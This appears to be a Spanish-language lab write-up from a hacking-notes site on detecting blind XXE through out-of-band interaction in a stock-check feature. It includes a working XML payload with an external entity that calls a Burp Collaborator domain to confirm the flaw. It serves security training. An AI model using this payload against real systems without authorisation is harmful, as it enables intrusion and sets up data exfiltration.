> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xxe/blind-xxe-with-out-of-band-interaction.md).

# XXE ciega con interacción fuera de banda

### XXE ciego con interacción fuera de banda

La función de comprobar existencias acepta un XML pero **no muestra** la respuesta. Este es un XXE ciego: no ves directamente el contenido devuelto por el analizador. Para detectar y explotar la vulnerabilidad, se generan interacciones fuera de banda (OOB) —por ejemplo, una consulta DNS o una solicitud HTTP a un dominio controlado (Burp Collaborator / OAST)— para ver si el analizador realiza solicitudes externas.

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
    prueba
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

{% endcode %}

Si se envía este XML, no se obtiene ninguna respuesta de la interfaz (comportamiento ciego).

<figure><img src="/files/76a6d7c8849f85c51bdfb7b0d766e858dbfd6f8b" alt=""><figcaption></figcaption></figure>

#### Uso de entidad externa con Burp Collaborator

Declare una entidad externa que apunte a un dominio controlado (aquí: `h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com`) para forzar al analizador a realizar una consulta HTTP/DNS — si la consulta llega al servicio OOB, la aplicación es vulnerable al XXE ciego.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "https://h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com">]>
<stockCheck>
  <productId>
    &myFile;
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

Después de enviarlo, vemos la recepción de la solicitud en el servicio OOB (Burp Collaborator), lo que confirma la presencia de un XXE ciego con interacción fuera de banda.

<figure><img src="/files/0f515e5976b3da30c58c24c23f1be044edbbe75b" alt=""><figcaption></figcaption></figure>


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